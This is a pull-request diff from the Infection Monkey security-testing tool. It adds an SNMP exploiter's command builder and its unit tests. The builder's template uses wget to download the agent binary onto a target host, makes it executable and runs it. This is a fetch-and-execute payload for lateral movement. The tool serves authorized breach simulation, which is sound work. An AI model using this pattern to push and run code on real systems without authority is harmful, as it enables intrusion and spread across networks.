SNMP: Add command builder

Issue #3234
PR #3312

Author: cakekoa

monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py

@@ -0,0 +1,39 @@
+from typing import Sequence
+
+from common import OperatingSystem
+from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
+from common.types import AgentID
+from infection_monkey.exploit.tools.helpers import get_agent_dst_path
+from infection_monkey.i_puppet import TargetHost
+from infection_monkey.model import MONKEY_ARG
+from infection_monkey.utils.commands import build_monkey_commandline
+
+SNMP_LINUX_COMMAND_TEMPLATE = (
+    "wget -O %(monkey_path)s %(http_path)s "
+    "; chmod +x %(monkey_path)s "
+    "; %(agent_otp_environment_variable)s=%(agent_otp)s "
+    "%(monkey_path)s %(monkey_type)s %(parameters)s"
+)
+
+
+def build_snmp_command(
+    agent_id: AgentID,
+    target_host: TargetHost,
+    servers: Sequence[str],
+    current_depth: int,
+    agent_download_url: str,
+    otp: str,
+) -> str:
+    if target_host.operating_system == OperatingSystem.WINDOWS:
+        raise Exception(f"Unsupported operating system: {target_host.operating_system}")
+
+    monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)
+
+    return SNMP_LINUX_COMMAND_TEMPLATE % {
+        "monkey_path": get_agent_dst_path(target_host),
+        "http_path": agent_download_url,
+        "monkey_type": MONKEY_ARG,
+        "parameters": monkey_cmd,
+        "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
+        "agent_otp": otp,
+    }

monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py

@@ -0,0 +1,58 @@
+from ipaddress import IPv4Address
+from pathlib import PurePosixPath
+from typing import Optional
+
+import pytest
+from agent_plugins.exploiters.snmp.src.snmp_command_builder import build_snmp_command
+
+from common import OperatingSystem
+from infection_monkey.i_puppet import TargetHost
+from infection_monkey.utils.ids import get_agent_id
+
+AGENT_EXE_PATH = PurePosixPath("/tmp/agent")
+OTP = "123456"
+AGENT_ID = get_agent_id()
+TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX)
+SERVERS = ["127.0.0.1"]
+DEPTH = 2
+URL = "1.1.1.1/agent"
+
+
+@pytest.fixture
+def build_command():
+    def build(host: Optional[TargetHost] = None) -> str:
+        return build_snmp_command(
+            AGENT_ID,
+            host or TARGET_HOST,
+            SERVERS,
+            DEPTH,
+            URL,
+            OTP,
+        )
+
+    return build
+
+
+def test_exception_raised_for_windows(build_command):
+    with pytest.raises(Exception):
+        host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS)
+        build_command(host=host)
+
+
+def test_servers(build_command):
+    command = build_command()
+
+    for server in SERVERS:
+        assert server in command
+
+
+def test_otp_used(build_command):
+    command = build_command()
+
+    assert OTP in command
+
+
+def test_url_used(build_command):
+    command = build_command()
+
+    assert URL in command